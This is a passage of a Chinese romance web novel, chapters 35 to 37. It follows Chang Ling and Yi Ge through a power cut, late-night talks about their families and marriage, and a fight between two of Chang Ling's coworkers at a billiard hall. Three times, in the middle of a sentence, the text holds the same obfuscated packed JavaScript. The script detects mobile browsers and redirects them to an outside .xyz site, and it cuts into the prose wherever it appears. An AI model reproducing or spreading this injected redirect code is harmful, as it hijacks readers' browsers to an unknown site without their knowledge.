闯入她房间动手动脚的前男友、着装夸张烟酒不离手的上夜班、进了派出所宁愿给钱也要息事宁人…… 此时此刻仿佛都有了正确答案。 ** 昌灵下班后抱着仓库的废弃纸箱到后巷扔。人刚拐过墙角就闻见一股浓郁的烟草味儿近在咫尺,她皱了下鼻子,犹豫着要不要继续往里走。 天已经擦黑了,后巷又没什么人……要不然就放在这,明天再拿过去也可以。 想到这,昌灵把纸箱摞好放在墙角。刚转过身,窄墙后一阵暧昧的水声和喘息声穿过空旷的小巷游蛇般钻入了她的耳朵,一直痒到昌灵心里。 ——顷刻间,她浑身的寒毛都竖了起来。 昌灵不想骗自己,她知道那是什么。高中的生物课本上解释过万物起源和生物繁衍,学那一节课时,不少女同学都羞红了耳朵。但昌灵没什么感觉,对于理论,她似懂非懂。回归现实生活,她更没有这些心思。 可黑暗是最容易滋生欲/望的环境。 昌灵僵在原地,听着墙后声声黏腻的粗俗情语,非常不合时宜地想起易阁的脸。 冷漠的、温和的、思考的。 她来城里之后听过的最多的话就是男人都一个样,那么易阁呢?他也会说这种话吗? 昌灵猛地搓了两下自己的手臂。 “要不要去开个房?”墙后的男人声音急切。 “不要,我晚上夜班呢,要来不及了。” 女人的声音笑意吟吟,昌灵却是一丁点儿也笑不出来了。 “……那我过两天去找你?” “好啊,那我等你。” 后面的话她没办法继续听下去。顾不得墙后的人会不会听到,昌灵逃也似的跑出了小巷,口鼻被风噎得发干,耳边充斥着因为剧烈运动而引发的巨大心跳声。 她拿出了从前体育课长跑测速的劲头,热得人眼前发黑。 昌灵靠在公交车站台平复呼吸,说不清自己此刻的慌乱是因为那道女声太像黄燕,还是因为她在那种情景下居然鬼使神差地想到易阁。 这太奇怪了。 昌灵静立片刻,而后拧着眉疯狂晃动脑袋,试图搅散里面的诡异声响和画面。 她不得不承认,人,是一种很会幻想的生物。 ** 晚饭是对门邻居马姐送来的一盘水饺和早上剩下的两个馅饼。易阁问昌灵要不要再煮点粥,被她一口拒绝。 理由是天气太热,没有胃口。 但昌灵吃饭时始终低着头,易阁还是察觉到了不对劲。 “你今天没事吧?店里有问题?” “啊?”昌灵茫然地抬起头,片刻后说:“没有啊,没事。” “不舒服?感觉你今天很奇怪。” “哪里奇怪了。”昌灵声音很小,“我就是有点头疼,一会儿你把盘子洗干净给马姐送回去吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535029|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我先去躺着了。” 易阁不疑有他,点头说“好”。 风扇被他很贴心地摆在床尾的位置。 如果放在平时,昌灵一定会说不要,再让他摆回中间一起吹,或者干脆坐到床边做事,反正沙发又没比床舒服。 昌灵盯着风扇深吸一口气,可她现在有点不知道怎么面对易阁,更不想和他搭话。房门开开合合,易阁把盘子还回去了。 关门前,昌灵听见马姐说,可得算个好日子抓紧时间去领证啊。 她翻了个身,心里更别扭了。 易阁上/床时手脚很轻,昌灵揪着被单,莫名感到一股无原由的紧张。他把中间的被子往自己那边拉了一下,给昌灵空出的位置更大。 她眼珠没忍住动了两下。 “昌灵?”易阁往她的方向凑近了些,“你没睡着吗?” “……” 被识破了。 昌灵心里叹气,而后缓缓睁开眼,随口找了个话题问他现在几点了。 “十点。”易阁一只手撑在床面上,轻声问:“是我吵醒你了?” “不是。”昌灵睨了他一眼快速移开视线,“我就是,有点热。” “风扇吹着还热?你等一下。” 话音刚落易阁急匆匆起身,从她身体上方跨了下去。当事人或许不觉得有什么,可昌灵心里有鬼,见状咬着唇角猛地把头转向里侧。 易阁给她拿了把扇子回来。 “你头还疼吗?”他盘腿儿坐在昌灵身边,“该不会是中暑了吧?” 昌灵的视线落在易阁小腿上:“……没有。” “那你睡吧,我给你扇两下,等你睡着了我再睡。” “……” 纸扇轻摇。 昌灵面热心更热。 她静默良久,不动声色地睁开了一只眼睛。只见易阁双眼紧闭,一只手撑在腿骨上托着脑袋,另一只手依赖惯性扇着扇子,好像已经睡着了。 昌灵趁机用目光临摹了一遍他的脸,来来回回、肆无忌惮。面部线条比去年硬朗许多,人也抽条得更高更瘦。今天之前她从没想过自己会喜欢什么样的人,所以在那段暧昧纠缠的声音里出现易阁的脸时把她吓了一大跳。 难道是和他住得太久了吗?昌灵无措地想。 易阁也没想到自己的一举一动可能会惊醒一个人的奇妙幻梦。已经扇了很长时间了,他只是觉得手臂酸,想着换一下手,再看看昌灵睡着了没有。 没成想刚睁开眼睛,正正对上她一眨不眨的清明双眸。 他蓦地止住了动作。 这是在干什么?! 昌灵心里一震。她没想到易阁会突然睁眼,慌乱之余,更添几分异样的感觉。 她想,果然眼睛才是心灵的窗户。易阁睁开眼的一瞬间,就像是神话里说的,画龙点睛的最后一笔,让一副完整画卷拥有了它独特的生命和灵气。 “你、你怎么不睡啊。”易阁稍显僵硬地回望着她的眼。 “……”昌灵张了张嘴,没想到该说什么。 二人对视了很短一瞬,又似乎是很长,易阁回过神率先移开视线,清咳一声:“我给你扇,你快睡吧。”说着又要继续摇晃扇子。 昌灵不忍心再麻烦他,抬手一把握住易阁的手腕,“我不热了,你睡吧。” “……” 易阁垂眸紧盯着双手交握的地方,昌灵手心的温度正源源不断渡到他的身体上。 很烫。 “知道了。”他声音低沉,“你放开我吧。” “哦。”昌灵松手后翻了个身背对着他。 易阁把扇子插在床头,迟疑地背对着她躺好。 床很小,两个人中间还能再垒一堵墙。 35. 2000 一连几天,昌灵和易阁之间的关系都有些微妙。但具体问题出在哪里,昌灵没刻意去细想。 她每天都有很多事要忙。 宋雨姐说自己白天还有另一份工作,希望在台球厅能只做夜班场。昌灵一开始觉得不好,毕竟一开始老板就说过,一个月一轮班,自己一直上白班就好像在占宋雨便宜一样。 最后还是宋雨坦言说她们家生活比较困难,还有小孩要照顾,想要多赚一份夜班的补贴,拜托昌灵帮帮忙,她才勉强应下来。 答应过后昌灵又暗自懊恼,这样她岂不是永远赚不到夜班补贴的钱?明明自己的生活也蛮困难的啊。 她一整个下午都在思考,要不要跟宋雨说补贴的钱多少也分她一点呢?还是,不应该提这种话? 咚咚—— 桌面被人轻轻敲了两下。 “您好,有什么我能帮助您的吗?”昌灵正弯着腰往桌子底下塞表格,还没看到人,话先说出口。 回答她的又是一道熟悉的声音:“有啊,我找你。” 昌灵手上的动作一顿,半晌带着点笑直起腰:“这么巧,又见面了。” “你变得没礼貌了呢,见了姐姐也不知道打招呼,亏我之前还去支持你的生意。” “怎么会呢。”昌灵笑笑,喊了声“燕姐”。 “嗯——”黄燕拖长了音调抬了抬下巴,“我要两瓶北冰洋,桔子汁的。” 昌灵从货架上抽了两瓶结账,又问:“需要开瓶吗?” 黄燕:“开你自己的吧。” 说完她将玻璃瓶递在嘴边歪了下头,轻松用后槽牙咬开了瓶盖。 昌灵微微睁大了眼睛:“……” 黄燕习以为常:“怎么了,这点儿事也要震惊?” “……不是。”昌灵老老实实拿出起子,感叹道:“你牙口真好。” 黄燕嗤笑一声,“练的。” “慢慢喝。”昌灵把开好的瓶子放在她手边,“还有,你刚才说找我是有什么事吗?” “给你点的。”黄燕把汽水又推了回来。 无事献殷勤,非奸即盗。昌灵心里画了个问号,没动那瓶橙色的北冰洋。 “其实我上次来的时候就看见你了。”黄燕微微垂着眼睫,淡淡地说。 “是吗。” “你没看见我?”黄燕一副明明你我都心知肚明的神情。 昌灵:“所以呢?” “你同事过来打听了那么多我们的事,估计后来也告诉你了吧。” 昌灵揣着明白装糊涂:“我同事每天都要说很多话,记不太清楚了。” 黄燕听完立刻笑了起来,好悬没被汽水呛到。 昌灵拿起本子低着头写写画画,装作工作十分忙碌的样子。等黄燕笑够了,才听她说:“哎,你比刚进城的时候变灵了很多嘛。” 昌灵瞟了她一眼。 “这样才对得起你的名字。”黄燕继续说道。 ——听不出来是夸奖还是嘲讽。 “所以你今天来就是为了问这个?” “当然不是。”黄燕随手摆弄着台面上的绿植,饶有兴致地说:“我跟她们打赌,赌你再见到我的时候会是什么反应。” 昌灵:? “她们都说,你知道我们是干嘛的之后,肯定吓都吓死了,见到我一定话都不想说。 “我说才不是呢,别看昌灵平时不言不语,胆子可是很大的。你看我了解你吗?” 昌灵静默片刻,说:“你们真的很无聊。” “是呀,就是很无聊。” 黄燕往前探了探身体,好奇地问:“人家寻常人听见我们干这个行都避之不及,就怕牵扯上什么不干不净的关系,你怎么不怕呀?” 昌灵心里叹气,“我们连朋友都算不上吧,你做什么职业都跟我没关系。” “是哦。”黄燕认同地点点头,“但和你住在一起的时候我还感觉蛮好的。” 昌灵抿了抿唇,没有说话。 “你知道为什么吗?” 昌灵没兴趣,“我不想知道。” “那我偏要告诉你。”黄燕说着用自己的汽水碰了碰桌上的玻璃瓶,笑着说:“觉得你像小时候的我。” 昌灵闻言倏地抬眼看向她,片刻后冷声道:“我跟你不一样。” 黄燕敷衍着嗯嗯了两声,又问:“你那个小男朋友呢,之前在派出所见过的那位。” 她当然不会跟黄燕解释自己跟易阁的关系,只说:“跟你有关系吗?” “他长那么帅,姐姐怕你小小年纪被人家骗咯。” “是吗,我怎么看不出来你有那么好心。” 黄燕啧了一声起身凑到她耳边,悄声说:“越是好看的人,越会骗人,你可要小心点。” 昌灵:“……” “走啦。”黄燕笑着晃了晃汽水瓶,她说:“那瓶记得喝。” 大门口的玻璃门上挂着串铃铛,开关门时会叮玲玲地响。 昌灵缓缓眨了两下眼,拿起面前的玻璃瓶学着黄燕的样子晃了晃。汽水因着晃动的关系冒了几串小气泡上来,瓶身上倒映着的面孔模糊但沉静。 她出神地想,越会骗人吗?那怎么样才算是好看的人呢? ** 昌灵举着喝剩下的半瓶汽水跟房间里裸着上半身的易阁打了个照面。 她怔愣在原地,心道虽然胳膊晒黑了,胸膛还是白的。 易阁反应过来后手忙脚乱地扯了件背心套上:“你怎么回来了,不是说这个月上夜班吗?” “呃,原本是的。”昌灵杵在门口简单说了一下宋雨的事。 “啊。”易阁双手扶在胯骨上,局促地转移话题,“那你吃晚饭了没?” “买了。”昌灵说。 “……那你站在那干嘛,不进来吃吗?” “吃。”昌灵尴尬地笑了下,我站在这难道不是因为某人在家不穿衣服吗。 “你吃了吗?要不一起?”她礼貌地邀请道。 “不用,我,面条马上熟。” 昌灵闻言指了指厨房:“不用去看看吗,该粘锅了。” “不用,我,还没烧水呢。” “……”神经,“那一起吃呗?” 易阁觉得自己大概是刚才洗澡的时候脑子进水了,不然为什么一直在胡言乱语。他懊恼地低头舔了一下后槽牙,而后僵硬地笑了笑:“不用,我马上去烧水。” “好吧。”不用哥。 天气热,买的东西凉得也慢,昌灵吃得不着急,有心等着易阁一起,多少还能聊两句话。 毕竟家里只有他们两个活物,再不说话就真的一点儿动静也没有了。 昌灵慢吞吞地嚼着糯米饭,想了想问易阁:“要不我们买个电视吧?” “买电视?说真的?” “也不是很真。”毕竟太贵了。 她说:“就是觉得家里没什么声音,你不觉得太安静了吗?” “还行吧。”易阁实话实说,“我以前在家,除了我妈犯病之外,其他时候都这么安静,已经习惯了。” “是吗,那我家很吵。” “有多吵?” 昌灵认真回想了一会儿,说:“想不起来了,反正就是很吵。” “那岂不是很热闹。” 昌灵下意识摇了摇头,发觉易阁看不见她后才缓缓开口:“热闹都是他们的。” “……” 易阁说不清自己是什么心情。这是这段时间以来昌灵第一次提起家里,虽然听起来有些负面,但总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535030|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比她一直压抑在心里好。 他叹了口气端着面条往外走,还没走到茶几旁,眼前蓦地一片漆黑,风扇的轻微声响也随之消失了。 “停电了?”昌灵摸索着放下手里的东西站了起来。 “你别动,能看清吗?” 昌灵:“闭一会儿眼就看清了。” “不太行。”易阁说,“我有点近视。” “是都停电了吗?”昌灵避开易阁的身体从后窗往外望,“别的楼好像都有电,是不是跳闸了?” “电箱在那边,我去看一眼。” “能看清吗?” 易阁踩着马扎才能够到电箱,观察了片刻,“没跳闸,应该是线烧了。” “那怎么办?”昌灵茫然地眨眨眼。 “我去商店买,你在家等着。” 昌灵无异议,坐回去继续嚼她的糯米饭。易阁一去一回动作很快,还细心的买了个手电筒。 “昌灵,你能过来给我举着吗?” “能。”昌灵问,“你确定你会接对吧?” “会,学过。” 易阁架势倒是摆得很足,一会儿要看左边,一会儿要照右边,又要铜线又要胶条,两个人上上下下折腾了半天,灯还是没亮起来。 昌灵等得有点不耐烦:“大哥,你是不会还是看不清?” “……线太细了,有点看不清。”易阁不好意思说,其实是手电筒的光晃来晃去的,晃眼睛。 “你下来,我接吧。” 易阁沉默片刻把先前的问题还给她:“你会吗?” “不会,但你可以告诉我。” 昌灵打定主意没有丝毫犹豫,拽了下易阁的衣角让他下来,自己踮着脚跃跃欲试。但她身高不够,要想到达电箱的高度需要两个马扎摞在一起。 易阁试了试,“不太稳。” “没事,你扶着点儿呗。”两个马扎也没多高,就算真掉下来也摔不着。 易阁的身高举着手电筒正合适,他用最简单的语言给昌灵解释断掉的是哪根线,剩下的让她自由发挥。 这活儿并不复杂。 昌灵动手前又跟他确认了一遍,“红色是火线对吧?” “对。”易阁说,“相信自己。” 昌灵攥了攥拳头给自己打气,屏气凝神小心翼翼地把两根细铜丝像缠麻花那样扭在一起,再把线用黑色胶条板正地贴好。 “应该成了。” “合上电闸试一下。” 咔。 客厅的灯明明暗暗闪了两下,而后□□地长亮起来。 “哈。”昌灵兴奋地甩了下手腕,“我可真厉害。” 易阁闻言低下头抿着嘴忍笑。 从昌灵的角度看过去,只能看到易阁毛茸茸的脑袋,和虚扶在她腰侧的手掌。见状她玩心大起,勾了勾唇角突然错脚往马扎中央踩过去,两个马扎顿时失去平衡,昌灵的身体也不自主地向后仰。 “啊——”她短促地叫了一声。 易阁大惊失色,虚靠在昌灵后腰的手结结实实贴在了她身上。电光火石间,他选择了最保险的方法——另一只手一把抄起了昌灵的腿弯,让人安全地落在了自己怀里。 马扎咚地砸在地面上。 易阁的心也跟着颤了下。 昌灵握着黑色胶条的手不偏不倚撑在他的心口上,惊险过后的平静降临,易阁其实什么也没想。 人也忘了放。 昌灵倒是想了很多。 她的目光在易阁的脖颈处流连,最终停在一颗明显的黑痣上,片刻后没忍住用手指点了两下。 易阁的喉结上下滚动。 昌灵鼓了鼓腮帮,小声说: “你心跳好快。 “是不是吓到了。” 36. 2000 易阁觉得这是自己有生以来最难面对的时刻。 昌灵正眼神懵懂地看着他,轻轻柔柔地说着关心的话。反观自己,吓到了吗,是有一点的。 可除此之外呢? 他清楚地察觉到自己在此刻有哪里变得不一样了,即便不是现在,也逃不开未来的某一天。对昌灵,自己似乎变成了一个卑劣的俗人。 但易阁没有躲避昌灵的目光,只是各种从未出现过的复杂情绪都堵在喉咙口,让人一时有些说不出话。 昌灵微微歪了一下头,还在等他的回答:“真的吓到了?” “……”易阁在她的瞳孔里清晰地看见了自己的面孔,他的话最终还是含在嗓子里,声音很低:“没有。” “是吗。”昌灵点点头,“看着不像没有,我还以为你胆子很大呢。” 说完她揽在易阁肩膀上的手臂动了动,绕过他的脖颈轻轻拍在他胸口:“你不放我下来吗?” “……”她的手是故意的还是不小心? 易阁沉默着把人平稳地放到地上,确认她站稳之后才撤回了自己的手。 “你没事儿吧?” 昌灵被他突如其来的严肃神情搞得有些心慌,自我反省说是不是玩笑真的开大了。可凳子就这么高,她又不会真的摔到…… 易阁面无表情地说自己没事。 昌灵顿时警铃大作心道不好,这态度摆明了就是有事啊,看起来事儿还不小。 “你坐。”昌灵当机立断扯过易阁的手臂,把人按在沙发上,“稍等。” 说完她也顾不得易阁的反应,快速走到门边关掉了电灯的开关。 易阁这才出声问:“你要干什么?” “别急嘛。” 昌灵避开尖锐的桌角,踢开脚边躺到的马扎,‘翻山越岭’来到他身边坐下,而后把另外一个新的糯米饭塞进了易阁手中。 易阁:? “你吃吧。”昌灵说,“感觉今天天气不错,时机也对,我们两个难得说点闲话,你一直板着脸,我都不敢说话了。” 她没敢提刚才的‘意外’,委婉地续上了之前的话题。 易阁闻言脱口而出:“什么时机?” “啊?”昌灵没听清。 “……” 其实话刚说出口易阁就后悔了。昌灵这句话的重点明显是后半句,她是想继续聊停电前的话题,关于家庭。但他…… 易阁挪了下屁/股拉开了和昌灵身体间的距离,感受不到腿边那处不属于自己的体温后沉声说“没什么”。 “好吧。”昌灵也没有刨根问底,继续说:“我刚才想说关掉灯的话我们都看不见对方,会弱化掉一些负面情绪。” 比如你的紧张和害怕。 这是她之前看过的一本书里写的。 易阁嘴上说着“是吗”,但心里却暗自否认了她的说法。他并不觉得这些是负面情绪,但昌灵太小了,他不需要剖开自我和她解释这些。 昌灵听到他的声音稍有和缓,心里松了口气,同时又对自己的临场应变能力有些得意。 虽然吓到了易阁,但后续也完美化解了他的情绪。 她忍不住弯了弯嘴角,随口说:“你刚才说你家一直很安静哦?怪不得你话那么少。” 换做平时易阁是断然不会和她聊这些的。可能是出于刚才的意外,他心里还在不上不下的打鼓,嘴巴也变得容易松懈:“其实我妈以前没得病的时候还是很好的,人也乐观,还会经常教我唱歌。” 昌灵讶然,人在脆弱的时候分享欲也会升高吗? 她抿抿嘴:“那你学会了吗?” “没有,我五音不全。” “……”昌灵有点想笑。 “那时候我爸还只是个小大夫,只能在卫生室里扎扎针,做点杂事,家里虽然没什么钱,但过得也不错。” 昌灵知道这话也许不该问,但她还是顺从本心轻声说:“后来呢?你妈妈怎么……” 易阁似乎是苦笑了下,也不在意她的冒昧,片刻后说:“九零年暴雨,我们家种的花生全淹死了,这也就意味着后面家里的开销全靠我爸那一点微薄的工资,我妈哭了好几天。 “然后我姥姥去世了。” 昌灵叹了口气,靠天吃饭的人最害怕的就是这些,又加上亲人离世,这不就是屋漏偏逢连夜雨。 “那年暴雨我记得。”她说,“我弟弟刚出生没多久,我奶奶用家里东西不够吃当借口,把我和姐姐的饭藏起来分给我哥和我弟吃。” 易阁皱着眉:“你弟刚出生,哪有牙吃东西。” “这你都不懂?意思就是就算我弟吃不了,也轮不到我们几个女孩吃。” 昌灵说话时语调没有带一丝丝不好的情绪,仿佛在说什么无关紧要的人。易阁听完却觉得心里堵得慌,但那是昌灵的家人,他不能说得太过分。 于是他说:“你奶奶太偏心了。” 昌灵笑了笑,没说什么。 易阁问:“所以你家里兄弟姐妹有几个?” “六个,头尾两个儿子,中间四个女儿。” “这么多,那你是最小的女儿?” “嗯。” 昌灵想了想,还是决定把自己之前从没说出口的想法告诉他,反正现在已经离西乡很远了,有些事长久的积压在心里容易出问题。 至于易阁,从各方面来说也算是一个不错的倾诉对象。毕竟除了他,这里没有人知道她过去是什么样子的。 昌灵咬了咬牙笑着望向他:“其实三姐结婚那会儿,我知道她有千万个不情愿,但还是忍不住暗自庆幸自己是最小的那一个。 “那时候王家送来了很多彩礼,只要家里有钱,我就能安安稳稳读完高中。等考上大学,我就能彻底摆脱那个家了。 “所以即使知道我的安稳是建立在姐姐的痛苦上,我还是会高兴,这很坏吧?” 易阁怔愣片刻,而后摇了摇头:“不会,人之常情吧。” 昌灵注视着他的嘴巴张张合合,对于说出的话感到意外:“看不出来,你还挺会安慰人的。” “确实是人之常情。”易阁不觉得自己是在安慰她,“我是你的、朋友,当然会站在你的角度想,这件事对你有利,那就是好事。” “那如果你是我姐姐的朋友呢?是不是就要站在她的角度谴责我了?” 易阁说:“我不是你姐的朋友。” 昌灵闻言眨眨眼,半晌无奈地笑笑:“假如嘛。” “这有什么好假如的。” “……”这下昌灵真没招了,她连连点头:“行,你说什么都对。” “本来就是。” 不得不说,听完他的话昌灵内心是开心的,从小到大这好像还是第一个愿意站在她的角度思考问题的人。 如果时间回到半年前,有人告诉她未来有一天她会和易阁并肩而坐,那时候的自己是万万不会相信的。 此刻的安静不再让她觉得枯燥无趣,家里有没有声音也变得不再要紧。 在一个最普通不过的夏日夜晚,昌灵偶然窥到了易阁冷漠外壳下的一寸柔和。她轻轻挪动着身体,寻找了一个最舒适的位置,将头靠在了易阁肩膀上。 没有缘由,她就是想这么做。 如昌灵所料,易阁的身体瞬间变得紧绷,又在两道交错的呼吸声中渐渐恢复如常。 他没有推开她。 ** 宋雨和阿美的矛盾爆发在秋天的一个下午,仓库里需要盘点过期的食品,叫了宋雨过来加班。 昌灵今天刚换上毛衣,正窝在前台无所事事地揪袖口的毛球,想着是时候该买件新的了。 此时重物落地的声音在身后猛然响起—— 昌灵吓得一个激灵回头看,高声问:“雨姐,没事吧?” 回答她的是阿美,准确来说也不是回答她。 “宋雨,我已经忍你很久了,你别给脸不要脸!”阿美的声音尖细,听起来格外刺耳。 宋雨的声音比她还大:“到底是谁不要脸!” 昌灵深吸一口气,左右还是逃不开这一天。 两个人争吵的声音吸引了附近不少桌的客人,昌灵连忙起身赔笑脸,又马不停蹄跑向仓库。 仓库的门虚掩着,被她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535031|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把推开撞在墙上,“你们是不是疯了,外面那么多人。”昌灵刻意压低了声音。 “小灵姐,你来得正好。”阿美指着摔了满地的饮料,“这可不是我砸的,谁先找事一目了然吧!” 昌灵扫了一眼宋雨,只见她满是不甘和委屈地把头转向另一侧,显然是不想把事闹到自己面前。 可开弓没有回头箭,东西已经砸了,昌灵没办法视而不见,但她也不想多管。 “雨姐。”她往前迈了一步,“这是工作场合,你这么砸东西不合适的。” 宋雨攥紧双拳:“这一箱我赔。” “你赔?”阿美嘲讽地笑笑,“你要是有钱赔,至于在这里拿我撒气吗。” “阿美!”昌灵上前拉了她一把,“你少说两句行不行。” “我长了嘴就是要说话的,怎么,实话不让说呀?” “你!” 宋雨忍无可忍,抬手就要打人,眼看着巴掌即将甩在阿美脸上,昌灵眼疾手快地攥住了宋雨的手腕。 “你还敢打我!”阿美伸手猛地推了下宋雨的肩膀,“来啊,朝脸打,打完我看你工作保不保得住!” 宋雨挣脱昌灵的手就要上前。 “你闭嘴吧。”昌灵拦在中间厉声道。 “小灵姐,你帮她?!” “你也不想干了是不是,外面还有你的客人呢。” 阿美闻言冷静了不少,片刻后咬牙切齿地说:“宋雨,你别以为我怕你,再有下一次,别怪我对你不客气。” 宋雨还想说什么,被昌灵不赞同的眼神制止,姐,难道真的不想干了吗? 阿美走后,昌灵收拾了地上摔变形的饮料,说:“雨姐,你要是今天状态不好就回去吧,仓库的东西我下了班再清点。” “……不用。”宋雨吸了吸鼻子,“我可以。” “这箱是过期的,厂家按原价回收。”昌灵说。 她的话像是压倒骆驼的最后一根稻草,宋雨的背越压越低,直至缩成很小一团,呜呜咽咽的声音从她臂弯间传出来。 昌灵不会说什么安慰人的话,片刻后叹气道:“别哭了。” “你知道吗……” 昌灵一愣,知道什么? “张美跟我前夫在一起了。” “啊?”昌灵皱了皱眉,“你前夫?” “长期包二号桌的那个赵老板,是我前夫。” “啊?!” 昌灵没想到还有这一出。 她仔细回想了一下宋雨口中的赵老板,疑惑道:“他是出轨了?” “不是。” “那……”张美和他在一起也没什么问题吧? “张美不让他给我儿子生活费。” “你怎么知道?他跟你说的?”昌灵说,“他那么大一个老板,还能真听一个小姑娘的吗。” 宋雨眼神空洞地盯着地面,面露苦笑:“昌灵。” “嗯?” “你说婚姻到底能带给女人什么?” 昌灵蓦然想到了母亲和姐姐,她垂眸沉吟片刻,淡淡地说“我不知道”。 “我和我前夫是初中同学。”宋雨自顾自开口,“我们俩一起坐十几个小时的火车从南方进货,每天没日没夜的摆地摊,有时候连口饭都吃不上。好不容易攒了一点钱,租了一家店,又没日没夜的看店。 “你说日子过得苦吗,那可太苦了,一分钱都要掰成两半花。但我那时候不觉得啊,能和老赵在一起,我什么苦都能吃,什么活都能干。 “被人骂,被人欺负,就这么奔波了好几年,好不容易日子好起来了,老赵拿着一个银的素圈戒指,哭得声泪俱下,说要跟我结婚,要跟我过一辈子。我也哭啊,我们俩抱在一起哭。 “再后来有了孩子,我真觉得一辈子都圆满了。我们一家三口,钱也有富余,这不就是我们小时候说的好日子吗。 “你说,他现在怎么变成这样了呢,老婆孩子不要了,该给孩子的生活费拿来包小姑娘的桌。“不知不觉间,宋雨早已泪流满面。句句回忆里,她茫然地说:”当初信誓旦旦的那个人,怎么就消失不见了呢?” 37. 2000 宋雨的问题昌灵当然回答不出来,她只能带着一点茫然和沮丧,垂头丧气地往家走。 “今天怎么下班晚?”易阁正伏在茶几上比着地图画什么东西,听见开门的声音开口问道。 昌灵站在墙边静静地看了他一会儿,而后蓦地抬手拍灭了客厅的灯。 “……”易阁画图的手被迫停下。黑暗中,他敏锐地察觉到昌灵四周萦绕的消极情绪,心里难免叹气。 自从之前停电那件事后,昌灵平时但凡有点不顺心和不愉快,都会关掉灯过来靠着他,像只需要安慰的小猫咪。 稍有不同的是,她有时候会分享发生了什么事,有时候不会。但开灯之后他们二人都会心照不宣的当作什么都没有发生过,一切如常。 时间久了,易阁反倒对这个环节产生了一些隐秘的期待,具体在期待什么,他也不好说。 因此他只愣了两秒钟就果断按掉圆珠笔,双手一撑,板板正正坐到了沙发上。 昌灵鞋也没换,熟门熟路绕过马扎坐到了他身边。 衣服没有夏天那么薄,体温的传递速度变慢许多。易阁抿了抿嘴,静待今天是否有分享故事的时刻。 ——昌灵没有让他等太久。 她先是哀怨地叹了口气,才缓缓轻声说:“跟我轮班的那个前台大姐,你记得吧。” “记得,姓宋。”昌灵之前跟他提过一嘴,宋雨姐自告奋勇承包了所有夜班,当然,还有夜班补贴。 昌灵最终也没好意思跟她提‘分一点’的事。 “原来她离婚了,一直都是一个人在带小孩。” 易阁微微颔首,怪不得那么努力赚钱,白天晚上都要工作。 “她和阿美之前就有点小矛盾,但我觉得没什么大问题。事不关己的,我就从来没问过。” 易阁垂头看向她:“那你今天问了?” “……”昌灵一副‘怎么可能’的神情,说:“让你失望了,我虽然闲,但没有那么闲。” 好吧,易阁问:“那怎么了?” “她们两个今天差点打起来。” “为什么?” 昌灵又叹了口气,这才把下午发生的事和听来的故事一字不落地讲给他听。末尾时她停顿了下,总结道:“我没想到事情会是这样的,这跟我想象中一点儿也不一样。” 不是什么特别的故事,甚至还有些老套,但大老板的落魄前妻和年轻现任都在自己身边,听起来还是很奇妙。 易阁听完她的话就陷入了长久的沉默,昌灵第一时间没听到任何反应,不满地拉了下他的胳膊:“你怎么不说话了?” “……你想听我说什么?”易阁垂眸注视着搭在自己胳膊上的那只手。 “不知道啊,你随便说点吧,总之给点反应嘛。” 易阁思索片刻,认真地说:“不是所有人都像那个赵老板那样。” 嗯? 昌灵闻言嘴角带了点掩盖不住的笑意:“你就是想说这个啊。” “嗯,如今这三个人闹成这种局面,最大的过错就是赵老板,怪不了别人。” 她当然知道。 “那如果换成你是他,你会怎么办?”昌灵怕他又说什么‘我不是他’之类的话,立马补充道:“我是说如果,如果。” “……”直接把他后路堵死了,易阁无奈地笑了下,“行,如果。” 昌灵很满意:“说吧。” “如果我是他,是不可能会跟自己的老婆离婚的。” 昌灵眨眨眼:“你的意思是,你会背着老婆出轨?” 易阁不满地啧了一声:“你在想什么啊。” 昌灵:“不是吗?” “当然不是,我不会离婚,也不会出轨。如果有一天我结婚了,那我一定会对我的老婆好,好一辈子。” “这样啊。”昌灵说,“可一辈子很长哎。” “你没听说过吗,婚姻是很神圣的。既然一开始选择了这个人,就要对自己的选择负责。” “那不想负责呢?” “那就不要结婚啊。” 昌灵听懂了他语气里的认真和笃定,她忍不住想,果然人与人是不同的。当然,或许也和家庭因素有关系。 就像易阁的母亲后来变得‘六亲不认’,可他父亲依旧不离不弃。易阁得到的母爱微乎其微,但长年累月里,他潜移默化地学会了父亲的深情。 “不是所有人都像你这样想。”昌灵在他的肩颈处蹭了蹭,“这么说的话,当你老婆还挺幸福的。” 易阁闻言抿了抿唇,低声说:“还好吧。” 昌灵又为难他:“那如果,你现在结婚了,又喜欢上别人,怎么办?” “……什么?”易阁对她跳脱的思维感到无可奈何。 “说说嘛,不当真的。” 易阁心里叹气:“那就放在心里,装作从没喜欢过。” “这样啊。”昌灵给他比了个大拇指,“那你还真是个好男人。” 易阁:“过奖了。” 语气听起来很是骄傲。 昌灵忍不住抬头看他,易阁察觉到她的视线,低头问,怎么了? 